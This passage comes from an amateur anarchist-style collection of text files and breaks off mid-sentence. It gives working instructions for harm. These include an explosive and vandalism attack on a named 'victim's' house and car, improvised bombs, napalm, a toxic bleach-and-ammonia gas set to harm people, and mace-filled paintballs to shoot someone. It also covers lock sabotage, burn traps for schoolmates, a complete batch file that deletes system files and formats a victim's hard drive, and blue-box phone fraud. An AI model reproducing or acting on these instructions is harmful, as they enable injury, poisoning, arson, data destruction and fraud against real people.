throw them because then you will alert your victim inside the house with the
noise of the eggs splatering. Then you will paint bloches all over his
house. Just drip the paint. Then while your friend is happily, but
catiously splattering paint and eggs, the other person will set the
explosives that you brought along. You did not bring anything along the
lines of C-4 because than thier is no point in painting his house or
splattering eggs on it if you are going to blow it to kingdom come. I am
suggesting something along the lines of a Co2 bomb straped to his windows
and doors. YOu must have about a 30 second fuse on them so that you can get
away. While all of this is going on in the back yard you have your remaining
associates and you in the front. In the front you have but two objectives.
To screw up his car and finish the front side of the house. First you must
get his house. You can do the same stuff you did in the back yard except
for the bushes. Then after you have done that, you line your explosives
on the windows and doors. When you line your explosives all over tape
some stink bombs to them so that not only will their windows be blown out
thier house will stink for the rest of the night as well. HeHe.... Now
on to his car. What you do to his car is really up to you. You do this
last if it is parked out in the street so it will be easy to get away. I
suggest to do everything in your knowlegde to his car for this reason:
After he comes outside and sees what happened to his house, he will then
look at his car to top it all of. He will go breserk! Their is just one
more thing you must do before you leave. Place one of the acetone bombs on his remaining grass. So
then
after all of that is done, Run to the back yard, light the fuses, light
the ones in the front yard and go! That is only the begining. When and
if he still goes to work, You can further screw up his car there, or just
refer to some of the other files in this jurnal for some ideas...hehehe
---===>~JyNx~<===-----===>~Zealot~<===---
~ Glass Demolition ~
This has several quick and easy ways to dispose of a sheet of glass that
is in your way. A "silencer" is a good idea on most of these, and a good
sound supressor is rubber cement. Liberaly spread this over the pane of glass
and just about any attempt to break the glass will be safer and quiter.
1) This does NOT work with a silencing compound. At a hardware store, you can
buy a spring-loaded center nail punch, which is used for pushing the head of
a nail below the edge of the wood it's in. This is most effective on car and
any other windows made of "shatter-proof" safty glass. Just press it up to
the glass until it triggers the spring, and the glass will shatter.
2) NO SILENCER: You can often find a Dremel bit or other such scribe with a
diamond tip. This can be very useful in cutting a small circle or rectangle out
of the pane of glass and allowing yourself to reach in and open the window.
3) I must extend credit to the Jolly Roger for this one...I am only repeating it.
First, get a pellet gun that will fire hard enuff to just put a hole in it, but
not shatter it. A silencer compund in all but the small area you shoot would be
a good idea on this one. If it's an old fashioned lock, on the top of the pane,
shoot just above it and use an icepick to push the lock out of position. If it's
a different kind of lock, forget it. This won't work.
If all else fails, just spread rubber cement all over the pane, let it cure for
a few minutes, and tap it with a small hammer until it falls apart.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Gun Powder Bomb ~
This is a minumul size explosion but it works very well. I do need to tell you that it has a smaller
explosion then a larger one.
First take a contaner about 3 inches long and 1 inch tall. Fill it with gun powder (you can get this in
any gun reloading shop for about 15.99$ per pound. Then get one bottle of rubber cement and pour
ALL of the cement over the top of the canester filled with gun powder and run like hell. BOOOOM!!
BOOOOOOOOOOOOOOOOOOOOOOMMMMM!!!!!!!!!!!
---===>~Zealot~<===-----===>~JyNx~<===--P.S. My friend Zealot and I made this one up and it works very well.
~ Heat sensitive explosives ~
In other words, explosives that go off when exposed to heat, such as
in someones barbacue pit at your camp ground. All it really is a a bomb without
a fuse. Take one of the antena's off of your radios(the kind that retract).
The antena gets smaller as it gets longer, so rip of bottom most peice which
would naturally be the fatest. Fill this with your choice of powders and crimp
and fold both ends down on it. Then throw it in a pit. Make sure no one is
around the pit because it throws shrapnel....you can also do it with pipes....
---===>~JyNx~<===-----===>~Zealot~<===---
~ Home made igniters ~
This file will explain basicly how to make your own igniters. If
your the kind who likes to have everything made by yourself so your sure
everything will work. Igniters can be made from things you have in your home.
All you need is:
1 Light bulb
2 thin solid wires
Take your light bulb and break off the outside glass. Try not to break the
filament inside. Once you have the filament you are going to have to
stretch it without breaking it. After that is done, cut of a peice about
an inch long. Then take your to thin, but solid wires. Rap one end of
the filament about 2 or 3 millimeters from the end. Then crip the 3 mm's
down onto the filament. Then leave about 3 mm of space in between the to
wires. Then do the same with the filament raping on the other wire.
Here is somewhat of a diagram:
! = wire
- = filament
!-!
!!
!!
!!
Then after you have made this you must make sure that the filament will not
brake and so that the wire do not touch. You can fix that problem by simply
adding tape just below the filament so that the wires are held firmly together.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Household Chemical Smoke Bombs ~
Here are a few recipes for some great smoke bombs!
- 3 parts sugar
- 6 parts magnesium sulfate
Place these into a can and place the can onto a low flame until they melt.
Embed a line of matches for a fuse before it hardens. Four pounds will
fill a city Block!
- 3 parts sugar
- 6 parts magnesium sulfate
- 1\2 part peices of rubber
- 1\2 part flash powder
Same procedure as above. Make sure that the flash powder gets mixed in
well with the other chemicals.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Lethal Force Law ~
All info about laws in this file taken without permission from a
November 1994 issue of _Guns & Ammo_. Go ahead. Sue me.
The following cases justifying lethal force in PA, NJ, and DE are
only generalizations. Each law is riddled with qualifying language, and it
is too long and complex to explain in this text file. These are basic rules,
but you can always check into specifics for your state. I'm only listing
PA, NJ, and DE, because this is my tri-state area, and I'd be amazed if any
of these text files ever got outside that area.
First, I'll take a moment to define the basic characteristics of ANY
justifiable homicide. They are:
1) Death or serious bodily injury is threatened, or the defender
reasonably believes it is.
2) The threat is imminent, here and now. The threat or fear of some
future deadly intent alone will not justify deadly force
3) The threat is UNLAWFUL
4) Deadly force is reasonably believed to be required to end the
threat
Now note the abundant use of the word "reasonably". That does not mean just
reasonable to YOU, but it essentially means "Can you make the jury think that
your use of deadly force was REASONABLE".
Deadly force is justified...
PA NJ DE
o in defense of self
X X X
o in defense of ANY other person
X X
X
Deadly force is justified to
prevent...
o robbery, rape or kidnapping
o a forceable felony
X
X X
X
A defender can stand his ground...
o to prevent arson of habitation
X X X
o to prevent property theft
X
o to prevent felony prop. theft
X
-------------------------------------------------------------Note that in most states, you are required to retreat from a lethal situation
if that is a safe alternative to using deadly force. The one "exception" to
this is in the case of invasion of the home: Lethal force is justified when
any unlawful intruder into your home poses a believable threat. This is to
say that for the most part, any burgler, who displays ANY form of "weapon",
down to things like the crow bar he jimmied your door with, can be shot.
Also note that in most situations, non-lethal force is much easier
to beat the rap on than deadly force. Example: A junkie punk breaks into
your house. While you have legal justification to kill him, if you just shoot
him in the knees, so he can never walk again without a cain, you've still
put him in extreme pain for the rest of his life, and you're much more likly
to beat the rap.
BEWARE: If you utilize lethal force on ANYONE, you will most likly
be charged with murder in the second degree, and you will have to plead
"Not guilty by reason of..." and whatever justification you intend to use.
Thus, if you cannot justify to a jury that your lethal force was warrented
and required, you could be convicted of MURDER 2.
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to make a little flasher ~
This is very simple and provides entertainment if you have nothing
else to do. It takes about an hour to cut up all the caps, unless you have
a few friends. You need the paper caps that come on a roll. Not the plastic
ones. Then take a wide candle about 3\4 inch in diameter. Take out the
wick so you have just the wax. Cut the wax so its about an inch tall. Then
make a hole in it about the width of a teenagers pinky finger and leave the
bottom about 3mm thick. After you have done that and cut out the caps in
a circular form (make sure you do not leave excess paper around the caps),
compact the caps in the wax cylinder(not pressing to hard!). After you have
about half the caps in, place the wick in the cylinder. Then finish packing
the caps in. The wick should be sticking out of the cylinder about 1\2
inch. Now light it........It should flash when the flame hits or heats up
the caps. The speed of the flash depends on have compact the caps are.
If they are not packed in good they will more likley burn than flash which
will cause a little mushroom cloud of smoke which I think is cool to.
Have fun!!!!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Lock Destruction ~
Here are some easy ways to completely destroy locks to things like the
locker room, the library, your enemy's house, and the entire school:
1) Gum in the lock. oldie but GOODIE!
2) Solder in the lock: Just melt a little solder into the lock. It'll
freeze up some of the pins, and change the shape of the valleys
3) Super Glue: Go to Radio Hack and buy some one minute epoxy, or a
container of super glue. Then fill the lock. This works REALLY
well on cars.
4) Paper: If you wedge a LITTLE paper in the right spot, you can make
the tumblers of the lock change position.
5) Sulphuric Acid: Just put a few drops in the lock, and PRESTO!, you've
changed the configuration of the lock.
Any of these work just as well in a car as in a normal pin-tumbler lock.
Except number 4. That does NOT work on a car (ignition or door)
---===>~JyNx~<===-----===>~Zealot~<===---
~ M-80 ~
Little do you know it is very simple to make an M-80. Find a
cardboard tube about 2 mm thick about 3 1/2 inches long and a space in
the inside about 1/2 an inch. Take the tube and pour plaster about one
fourth the way down the tube. Let it dry. Then make a hole on top just
big enough for the fuse, so the fuse will fit nice and tight. Then pour
your powder in until you have about one fourth of the tube left for the
plaster on the other end. I recomend using a smokeless powder that burns
really fast. This way its more likely to fire. If you use flash powder
it might not go off. make sure you insert the fuse into the hole before
you poor in the powder. The powder must be packed in tight. Then place
a peice of paper on the powder so the plaster does not ruin it. Then pour
the plaster in filling the rest of the container. Then let it dry for at
LEAST 3 - 4 days. Then light and run. If you foolowed the steps above
correctly then it should work great.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Make Chlorine ~
Chlorine gas is an extremely deadly gas which is EASY to make in your home.
There's a catch here: DON'T make it in your home. YOU WILL DIE. Make it
wherever you want to cause mayhem and sickness.
Materials:
One large jar
One small bottle
1:1 ratio (by volume) of:
Household Ammonia
CHLORINE bleach (not chlorine free)
Now, from here it's easy. Put the bleach in the bottle and the
ammonia in the jar. Or the other way around. It doesn't matter. Anyway,
cap both containers and take them to your target area. This really can't
be done "quickly", so if you want fast destruction, use something else.
Now, find an obscure area to put the thing, and open both containers. Pour the contents from the bottle into the jar. Just make sure
your jar doesn't overflow. When this is complete, LEAVE! If you don't,
you will be overcome by the chlorine too, and probably die.
Note: If you can get a purer supply of ammonia, USE IT. Household is not
really that pure, but it's the best most people can do. If I remember
right, household ammonia only has about 30% active ammonia. Also, you
cannot use Mr. Clean or something. It has to be household cleaning ammonia.
This can be bought at any drug store, or grocery market.
----Synapsis---- I don't know the EXACT chemical reaction that occurs,
but the ammonia and the bleach bond to form CL gas. Anyone who breathes
this gas will either get very sick, and require hospitalization, or they
will die.
Enjoy!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Make Mace Balls ~
Note: I've never actually tried this one, yet...but it should work, as I
know the materials.
If you're not one of the dubiously distinct one of us who owns a paintball
gun, then don't even worry about this file. It's of NO use to you. If you,
like I, do own a paintball gun, check this the fuck out:
Grab a paintball...note that there is a nice, liquidy paint inside. Now,
grab a seringe and needle (if you can't get one of those, improvise) and
gently stick the paintball. Pull out as much of the pain as you can. Don't
collapse the ball, or make overly-many holes in it. Once it's as empty as
it's gonna get, pull the seringe. Now, take a little container of Mace or
other tear gas, and draw some of that into the seringe. It's easiest to go
where there's no wind and, wearing gloves and a respirator, spray some in a
little canister. Stick the seringe needle back into the SAME hole you made
to get the stuff out. Fill the ball with mace, and slowly extract the
seringe. Now, put a small drop of super glue over the hole and let it dry.
THE IMPORTANT PART IS THIS: Whie you can't overfill the ball, you must
make it as FULL AS YOU CAN, because after it's sealed with super-glue, the
positive pressure from the mace on the inside of the ball is going to be
what stops the ball from blowing up in the barrel of your gun.
Now make about a dozen of these, and find some poor soul who needs to be
in pain. Load up the mace balls in your gun...and SHOOT HIM. Talk about pain.
Maybe you could carry this in your car or something...the first 50 yd range
on a tear gas sprayer, eh?
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to phuck up someones computer ~
It's called Mr. Happy Delete! It's just a batch file that
can you to really mess someone's computer up. All you have to do is
create an AUTOEXEC.BAT file for a 3 1/2 inch disk or a 5 1/4 inch disk
(but if the computer you want to mess up has a 5 1/4 drive, the computer
is probably really old and not worth the trouble.) This particular batch
file will delete all start-up files (IO.SYS, C:\AUTOEXEC.BAT, COMMAND.COM
MSDOS.SYS), it'll delete C:\DOS if it exists, the Windows directory, and
if Windows 95 is under the directory WIN95, then it'll also be deleted.
As an added bonus, it can also reformat the hard drive. I don't think I
need to tell you not to try this file out on your computer, but since
there are morons out there I'll say it any way: DON'T TRY THIS ON YOUR
COMPUTER! And just in case someone's stupid to acidentally use the file,
it's designed to ask you if you want to proceed to delete start-up files
(and Windows and DOS), and it'll ask you twice if you want to format the
hard drive. Here's a sample file you might want to use:
(NOTE: Unless you know how the CHOICE, GOTO, and ERRORLEVEL commands
work, I don't suggest you try to change them. Although you can change
the messages after the ECHO statements.)
@ECHO OFF
CHOICE /C:YN Execute Mr. Happy Delete?
If ErrorLevel 2 goto End2
If ErrorLevel 1 goto HeHe
:HeHe
ECHO One moment please......
@ATTRIB -S -H -R C:\*.*
DEL C:\MSDOS.SYS
DEL C:\IO.SYS
DEL C:\CONFIG.SYS
DEL C:\AUTOEXEC.BAT
DEL C:\WINDOWS\*.INI
DEL C:\WINDOWS\*.GRP
if exist c:\windows\winfile.exe GOTO DEL1
if exist c:\win95\winfile.exe GOTO DEL2
if exist c:\dos\command.com GOTO DEL3
:DEL1
DELTREE C:\WINDOWS /Y
GOTO END
:DEL2
DELTREE C:\WIN95 /Y
GOTO END
:DEL3
DELTREE C:\DOS /Y
GOTO END
:END2
ECHO Nothing deleted.
goto end3
:END
CHOICE /YN Do you want to FORMAT drive c:\?
IF ERRORLEVEL 2 GOTO NoFormat
IF ERRORLEVEL 1 GOTO FormatDrive
:NoFormat
@ECHO (The computer's hard drive wasn't formatted.)
Goto Cont1
:FormatDrive
@ECHO To format drive C, press Y when your asked if you
@ECHO really want to format.
FORMAT C:
@ECHO Drive C has been formated (Unless you pressed N)
:Cont1
@ECHO This computer is now officialy screwed. Thanky you for using Mr. Happy
ECHO delete! Have a nice day!
:end3
In order for this to work, you need to copy the files FORMAT.COM,
CHOICE.COM, DELTREE.EXE, ATTRIB.COM, and make sure you save the file
described above as AUTOEXEC.BAT saved on the disk that'll make someone
very, very unhappy. (NOTE: Just in case anyone's stupid enough to save
it in drive C, make sure you save AUTOEXEC.BAT as A:\AUTOEXEC.BAT or
B:\AUTOEXEC.BAT)
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to make a hell of a mess with a co2 explosive ~
All you need to make a super mess is:
-Co2 bomb
-a litle 3 x 3 or 4 x 4 box with lid attached.
-30 - 50 pieces of paper
-SCOTCH tape
Take the paper and tear it up into pieces as big as the top
section of your pinky finger. Place co2 in the center of the box standing
upwards so the fuse pionts up. (The fuse should be at least 15 seconds
long). PACK the paper around the co2 inside the box(fit as many pieces as
you can). Make a hole in the top of the box so the very tip of co2 peaks
out. Tape box up. Find a sutable victims yard or front porch and light
it and RUN LIKE HELL. The result willbe a mess of thousands of pieces of
white paper. Now be carefull This this also throws shrapnel!!!!
One other way is to make it with a toilet paper roll and insert the
Co2 in hte center and pack the paper in under and around it.
---===>~JyNx~<===-----===>~Zealot~<===---
~ More Fun In School ~
Disclaimer: I, JyNx, am not responisble for any actions any individual takes on behalf
of this file. I will not be held accountable for any damage you might do, or any punishment
inflicted on you by your school.
Ok. Now that's done with. Now, this file is going to concentrate on using 9 Volt
rectangular batteries for laughs in school.
Idea #1-- "Look! A quarter!"
---------------------------(1) Go to a class like a study hall or something.
(2) Take a 9V and sit a quarter on top for 4-5 min.
(3) Take a pencil, and use it to flick the quarter off the battery into the hall right before
class ends.
(4) Listen for the screams of agony.
Explaination (in case you don't get it):
The quarter shorts the battery out, and it feeds back on itself. That makes the
battery get really hot, and the quarter along with it. Then, when some idiot picks the coin
up in the hall, they get a nice imprint of George Washington on their palm!
Idea #2-- "Let me just get that from my locker"
----------------------------------------------(1) Solder (or tape) a piece of wire to one terminal of the 9V. (Ahead of time)
(2) Move the other end of the wire over to touch the other terminal.
(3) Wedge the battery (quickly) into the shackle of a Master combo lock.
(4) Leave (quickly).
(5) Watch for big jock with smoking hand running down hall.
Explaination:
Again, the wire shorts the battery. This gets said battery HOT. That heat is transferred to the lock by normal laws of thermodynamic heat transfer. When said jock (or whatever)
grabs lock to put in combo, his palm turns a nice shade of red (or BLACK!).
Idea #3-- "Look, a student dropped this litter"
----------------------------------------------(1) Solder (tape) a piece of wire to one terminal of 9V. (Ahead of time)
(2) Move the other end of wire to touch other terminal.
(3) Drop (toss) battery in hallway.
(4) Wait while in next class.
(5) Listen for announcement by a faculty member with a bandaged hand about the person who left
a battery in the hallway.
(6) Laugh.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Myth of the 2600hz Detector ~
-----------------------------------------------------------------------JUST ABOUT EVERYONE I TALK TO THESE DAYS ABOUT ESS SEEMS TO BE SCARED
WITLESS ABOUT THE 2600HZ DETECTOR. I DON'T KNOW WHO THOUGHT THIS ONE UP,
BUT IT SIMPLY DOES NOT EXIST. SO MANY OF YOU PEOPLE WHINE ABOUT THIS SO CALLED PHREAK CATCHING DEVICE FOR NO REASON.
SOMEONE WITH AT&T SAID THEY HAD IT TO CATCH PHREAKERS. THIS WAS JUST TO
SCARE THE BLUE-BOXERS ENOUGH TO MAKE THEM QUIT BOXING FREE CALLS.
I'M NOT SAYING ESS IS WITHOUT ITS HANG-UPS, EITHER. ONE THING THAT ESS CAN
DETECT READILY IS THE KICK-BACK THAT THE TRUNK CIRCUITRY SENDS BACK TO
THE ESS MACHINE WHEN YOUR LITTLE 2600HZ TONE RESETS THE TOLL TRUNK.
AFTER AN ESS DETECTS A KICKBACK IT TURNS AN M-F DETECTOR ON AND
RECORDES ANY M-F TONES X-MITTED.
DEFEATING THE KICK-BACK DETECTOR
AS MENTIONED IN MY PREVIOUS NOTE, KICK-BACK DETECTION CAN BE A SERIOUS
NUISANCE TO ANYONE INTERESTED IN GAINING CONTROL OF A TRUNK LINE. THE
EASIEST WAY TO BY-PASS THIS DETECTION CIRCUITRY IS NOT REALLY BY-PASSING
IT AT ALL, IT IS JUST LETTING THE KICK-BACK GET DETECTED ON SOME OTHER
LINE. THIS OTHER LINE IS YOUR LOCAL MCI, SPRINT, OR OTHER LONG DISTANCE
CARRIER (EXCEPT AT&T). THE ONLY CATCH IS THAT THE SERVICE YOU USE MUST
NOT DISCONNECT THE LINE WHEN YOU HIT THE 2600HZ TONE.
THIS IS HOW YOU DO IT: CALL UP YOUR LOCAL EXTENDER, PUT IN THE CODE, AND
DIAL A NUMBER IN THE 601 AREA CODE AND THE 644 EXCHANGE. LOTS OF OTHER
EXCHANGES WORK ACROSS THE COUNTRY, I'M SURE, BUT THIS IS THE ONLY ONE
THAT I HAVE FOUND SO FAR. ANYWAY, WHEN IT STARTS RINGING, SIMPLY HIT
2600HZ AND YOU'LL HEAR THE KICK-BACK, (KA-CHIRP, OR WHATEVER). THEN YOU
ARE READY TO DIAL WHOEVER YOU WANT (CONFERENCES, INWARD, ROUTE AND
RATE, OVERSEAS, ETC.) FROM THE TRUNK LINE IN OPERATOR TONES! SINCE
BLOWING 2600HZ DOESN'T MAKE YOU YOU A PHREAKER UNTIL THE TOLL
EQUIPMENT RESETS THE LINE, KICKBACK DETECTION IS THE METHOD AT&T
CHOOSES (FOR NOW)
THIS INFORMATION COMES AS A RESULT OF MY EXPERIMENTS & EXPERIENCE AND
HAS BEEN VERIFIED BY LOCAL AT&T EMPLOYEES I HAVE AS ACQUAINTANCES. THEY
COULD ONLY SAY THAT THIS IS TRUE FOR MY AREA, BUT WERE PRETTY SURE THAT
THE SAME IDEA IS IMPLEMENTED ACROSS THE COUNTRY.
NOW THAT YOU KNOW HOW TO ACCESS A TRUNK LINE OR AS OPERATORS SAY A
LOOP, I WILL TELL YOU THE MANY THINGS YOU CAN DO WITH IT. HERE IS A LIST OF
AT&T SERVICES ACCESSIBLE TO YOU BY USING A BLUE BOX.
A/C+101 TOLL SWITCHING
A/C+121 INWARD OPERATOR
A/C+131 INFORMATION
A/C+141 ROUTE & RATE OP.
A/C+11501 MOBILE OPERATOR
A/C+11521 MOBILE OPERATOR
STARTING CONFERANCES:
THIS IS ONE THE MOST USEFUL ATTRIBUTES OF BLUE BOXING. NOW THE CONFS. ARE
UP 24 HOURS/DAY AND 7 DAYS/WEEK AND THE BILLING LINES ARE BEING BILLED.
SINCE I BELEIVE THE ABOVE IS TRUE (ABOUT THE BILLING LINES BEING BILLED) I
WOULD RECOMMEND THAT YOU NEVER LET YOUR # SHOW UP ON THE CONF. IF YOU
STARTED IT, PUT IT ON A LOOP AND THEN CALL THE LOOP. ENOUGH BULLSHIT!!!!!
TO START THE CONF. DIAL ONE OF THESE THREE NUMBERS IN M-F WHILE YOU ARE
ON THE TRUNK.
213+080+XXXX
XXXX=1050,3050
SPECIAL XXXX=1000,1100,1200,1500,2200,2500.
THESE #S ARE IN L.A. AND ARE THE MOST WATCHED, I DO NOT ADVISE USING THIS
NPA.
312+001+1050 OR 3050
914+042+1050 OR 1100,1200 ECT..
***************************************
UPDATE, I BELEIVE ONLY 914 WORKS AT THE MOMENT
***************************************
ONCE CONNECTED WITH ONE OF THESE YOU WILL EITHER HEAR A RE-ORDER, BUSY,
OR CHERP. WHEN YOU HEAR THE CHERP ENTER THE BILLING LINE IN M-F. I USE THE
CONF. DIAL- UP.
A BILLING LINE EXAMPLE: KP312+001+1050ST
YOU WILL THEN HEAR TWO TUTES AND A RECORDING ASKING YOU FOR THE # OF
CONFERREES INCLUDING YOURSELF. ENTER A # BETWEEN 20 AND 30. IF YOU EVER
GET OVER 30 PEOPLE ON A CONFERANCE ALL YOU WILL HEAR IS JUMBLED VOICES.
AFTER THE IT SAYS "YOUR CONFERANCE SIZE IS XX" THEN HIT # SIGN. ADD YOUR
FAVORITE LOOP ON AND HIT 6 TO TRANSFER CONTROL TO IT. AFTER IT SAYS
CONTROL WILL BE TRANSFERED HANG UP AND CALL THE OTHER SIDE OF THE LOOP,
HIT # SIGN AND FOLLOW THE INSTRUCTIONS. A BONUS FOR CONF. IS TO ADD AN
INTERNATIONAL # DIAL 1+011+CC+NUMBER PRETTY COOL EHHH.
A FEW EXTRA NOTES.
DO NOT ADD #S THAT YOU WILL WANT TO HANG UP, ADD THESE THROUGH MCI OR
SPRINT. YOU CANNOT BLOW ANYONE OFF W/2600HZ UNLESS THEY ARE IN AN OLD XBAR OR OLDER SYSTEM.
MANY D.A. OPERATORS WILL STAY ON AFTER YOU ABUSE THEM; YOU MAY HAVE TO
START ANOTHER OR AT LEAST DON'T SAY ANY NUMBERS.
NEVER ADD THE TONE SIDE OF A LOOP ONTO A CONF.
NEVER ADD MORE THAN ONE MCI NODE ON YOUR CONF.
ROUTE & RATE:
NOTE ROUTE & RATE AND RQS PERFORM THE SAME SERVICE. R&R SIMPLY TELLS
YOU ROUTE AND RATE INFO WHICH IS VERY VALUBLE, EX. SUCH AS THE INWARD
ROUTING FOR AN EXCHANGE IN AN AREA CODE. AN INWARD ROUTING WILL LET
YOU CALL HER AND SHE CAN DO AN EMERGENCY INTERUPT FOR YOU. SHE CAN TELL
YOU HOW TO GET INTERNATIONAL OPERATORS,ECT. HERE ARE THE TERMS YOU
ARE REQUIRED TO USE: INTERNATIONAL,
-OPERATOR ROUTE FOR [COUNTRY, CITY]. *GIVES YOU INWARD OP.
-DIRECTORY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU DIRECTORY ASS.
-CITY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU COUNTRY AND CITY CODE.
OPERATOR ROUTE FOR [A/C]+ [EXCHANGE] *GIVES YOU INWARD OP. ROUTE
EX. [A/C]+ OR [A/C]+0XX+ WHEN SHE SAYS PLUS SHE MEANS PLUS 121.
NUMBERS ROUTE FOR [STATE, CITY] *GIVES YOU A/C.
PLACE NAME [A/C]+[EXCHANGE] *GIVES YOU CITY/STATE FOR THAT A/C AND
EXCHANGE.
INTERNATIONAL CALLS:
TO CALL INTERNATIONAL OVER CABLE SIMPLY ACCESS A TRUNK AND DIAL
KP011XXXST WAIT FOR SENDER TONE, KPXXXCC-NUMBERST XXX - A 3 DIGIT
COUNTRY CODE, IT MAY NOT BE 3 DIGITS SO JUST PUT 1 OR 2 0'S IN FRONT OF IT. CC IS THE CITY CODE TO GO BY SATELLITE:
DIAL KP18XST X - NUMBERS 2-8 WAIT FOR SENDER TONE THEN KPXXXCCNUMBERST
---===>~JyNx~<===-----===>~Zealot~<===---
~ Napalm Recepies ~
Fun little Napalm Recipies:
1) 1 part Motor Oil
1 part soap chips or liquid soap
2 parts gasoline
Mix these products, and you have a basic napalm. Nothing fancy. The oil
helps it stick, along with the soap.
2) 1 cup gasoline
8 styrofoam packing peanuts
Use this ratio as nessesary to make as much as you need. Allow the peanuts
to dissolve in the gas. This makes a very thick, viscous napalm. You may
alter the ratio as you wish. This is just a starting point.
3) 1 part Desiel Fuel
Just put this in a container, and stick it in the freezer until it becomes
slushy like a squishy. Then light and drop off a roof or something.
Those are the three best methods I know of. Enjoy!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Neon Terror ~
This is very simple and takes no effort on your part. Go to the
store and buy the neon glow sticks. Crack them so they glow. Then after
their done glowing take some wire cutters and cut the tip of to expose the
contents. Then strain out the glass framents in the tube and poor the
liquid into another container. You should do this with quite a few of them
in order to get a good reaction from your victim. Go at night and poor
the liquid on his house. When he gets up in the morning he will come
outside and notice that his house has bloches of neon all over the house.
This prank might prove to be slight on the expensive side, so have a few
of your friends chip in for the sticks. Have Fun!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Paper Ball Shotgun ~
This is something very simple to make, yet fun to use at partys.
All you need is the party poppers you can buy at any gift store (the
kind where you pull the string and the confetti comes out). All you have
to do is to modify one. Open the bottom so that you can take the streamers
out. Then just fill the end part with paper balls. Dont take the second
barrier out of the poppers. Their must be something between the explosive
and the paper balls. You can make the paper balls any size you want.
You can go from 5 big ones to 110 little ones. BE creative! Have fun!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Potasium Picrate Explosives ~
There are many ways of having fun with picolo petes. The two most basic
ways are smashing the last 2 - 3 inches of the picolo pete real hard down with
a hammer, so after it is done whistling it will either take off like a rocket
or explode, depending on how good you smash it. Now the second one takes a little
more detail. This one if made with the proper equipment can detonate louder
than an M-80. Take a 20 oz. coke bottle (1 liter)(these work the best because
they are the thickest and make the loudest boom. Empty one picolo pete and
pour all the white powder from it into the coke bottle. There should be a layer
at the bottom of the bottle( just make sure you get all of the powder out of
the picolo pete). Now punch a hole in the cap of the bottle with a small nail.
Place the fuse from the picolo pete into the hole so it is half in and half out.
Then just screw on the cap really hard. When you light it and the fuse reaches
the cap it will drop onto the powder, therfore igniting it and detonating the
explosive. Try this with a 3 liter soda bottle and fill the bottom 3 inches
with the potasium picrate(the white powder in the picolo petes). This will
make the biggest boom you have ever heard garunteed.....trust me.....
---===>~JyNx~<===-----===>~Zealot~<===---
~ Pyrotechnics I ~
~Introduction~
~~~~~~~~~~
What is pyrotechnics, you ask? Well it consists of a general topic
of fire. Fire used for display purposes only! It can go from the actuall
blowing up buildings for movies or launching the mortars on the 4th of July.
I will talk about the firework part of pyrotechnics here, for the reason of
because that is the stuff I like the most. Pyrotechnics is an art and a hobbie.
You have to like it alot in order to be really good at it. You can't screw up
by any measure unless you like getting burnt and blown up. It is generally a
safe field if you know what your doing. Now I will explain the consept of
how fireworks work. Well I guess I could start off with the skyrocket. It
can be used for numerous diplays. Depending on where you get the supplies can
determin wether or not this hobbie will be expensive. I made my first actuall
skyrocket that worked very well on JULY 4th 1996. It worked wonderfully. There
was only one problem. The average skyrocket goes about 100-150 feet up in the
air and then throws its colored stars. Well my rocket engine that I used (C6-7)
was a bit too powerfull. It launched the rocket to an alltitude (I'm guessing)
of about 500-800 feet up. Too high. You could hardly see my star composition
because it was so high. It blew up by throwing gold rain and crakling white
stars. Every one loved it (except for the fact that it went to high).
Well now I will tell you how to make this one. It was a simple consept but
smart. I used a regular model rocket that you can get at most hobbie stores.
As I said above I used a C6-7 model rocket engine. You must have a rocket that
you can open up right above the engine to expose the end, and must also have
a nice distance from the tip of the engine to the nose cone of the rocket for
your display materials. Before you insert the enging into the rocket, you must
scrape of the following on the back of the rocket:
- the clay retainer cap
- the ejection charge
- half the tracking smoke / delay
After you have done this, place the engine into the rocket. Now you will have
to obtain the following:
- a nice length of firecraker fuse
- picolote pete powder
- crakling balls (out of the "fire crakle" type fireworks) they come in
boxes that look like morning glory boxes.
- magnesium
- eletric starter (the kind used in old lights, can buy at store)
Now, mix 1 part magnesium, 2 parts crakling balls, 1 part picolote pete powder,
and set it aside for later. Now take your starter and uncrimp the ends to remove
the lid. After removing the lid, gut the thing so that it is empty. Then at
the bottom there should be a little hole. You need to make this hole about
two or three times larger than it already is. Then place the fuse you obtained
( another good fuse to use is from the firecrakle things, use the gray one, not
the green one!) in the hole at the bottom. It is always good to place as many
as you can fit in the hole and then loop them so that incase one or two of them
doesn't work. After placing the fuse, pour in your mixture that you have made
before into the starter making sure that all of the fuses are running through
it. Then place the cap back on the starter and crimp it down with the four
little prongs. Place the starter into the rocket body just abouve the engine.
Pour a little picolo pete powder into the end of the engine, about 3mm high.
Then place the fuses coming out of the starter into the picolo pete powder in
the end of the rocket. Carefully glue the rocket together without tiping the
rocket upside down or else it will put pressure on the fuses causing some to
rip and the rocket to fail. All left now is to fire!! When the rocket engine
burns out it will ignite the picolo pete powder, igniting your fuses. When the
stuff in the starter ignites it will create enough pressure to blow of the lid
and everything inside of it. There is your display....Be creative...
---===>~JyNx~<===-----===>~Zealot~<===---
~ Pyrotools ~
Making fireworks is not only a challenge for your knowledge and skills
in chemistry. You also have to be able to make some tooling yourself,
if you do not want to spend a fortune buying from others. If you have
a friend with a lathe and a drill press, you are one lucky pyro! But
you still have to be able to tell him what to make. As I am still a
student, I do not have the money or the space to invest into
machinery. But I have a friend who has got it all! And as he turned
out to be a rocket freak, what was then more natural than asking him
to make me a rocket spindle?
The need for highly specialized tooling for each size of rockets,
makes life hard. I wanted to be able to use one rocket spindle to make
different types of rockets. What I did, was to settle on one rocket
diameter. Then the length of the spindle could be adjusted by stacking
plates around the spindle, in order to achieve a spindle length
suitable for the
Stinger missile. You can see the tube compared to the
spindle. This rocket (20 mm ID) can launch 130 grams payloads. <p>
Another beautiful effect that demands specialized tooling, is the
crossette. It is a cylindrical, pressed star, typically a
charcoal/glitter composition. The special shape of the plunger creates
a hole in the crossette that is filled with a bursting charge. The
